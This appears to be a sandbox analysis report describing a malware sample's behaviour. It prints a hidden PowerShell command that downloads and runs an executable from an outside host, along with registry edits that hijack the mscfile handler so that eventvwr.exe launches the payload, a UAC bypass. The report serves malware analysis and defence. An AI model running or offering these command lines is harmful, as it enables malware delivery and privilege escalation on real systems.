Technical Information
Malicious functions
Downloads and executes
- https://legacyrealestateadvisors.net/brats/remmy.exe as %temp%\\apple.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://legacyrealestateadvisors.net/brats/remmy.exe','%TEMP%\\apple.exe') & reg add HKCU\\Software\\...
Modifies file system
Creates the following files
- nul
Network activity
Connects to
- 'le#######lestateadvisors.net':443
TCP
Other
- 'le#######lestateadvisors.net':443
UDP
- DNS ASK le#######lestateadvisors.net
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://legacyrealestateadvisors.net/brats/remmy.exe','%TEMP%\\apple.exe') & reg add HKCU\\Software\\...' (with hidden window)
- '<SYSTEM32>\mmc.exe' "<SYSTEM32>\eventvwr.msc"' (with hidden window)
Executes the following
- '<SYSTEM32>\reg.exe' add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d %TEMP%\\apple.exe /f
- '<SYSTEM32>\eventvwr.exe'
- '<SYSTEM32>\mmc.exe' "<SYSTEM32>\eventvwr.msc"
- '<SYSTEM32>\ping.exe' -n 15 127.0.0.1
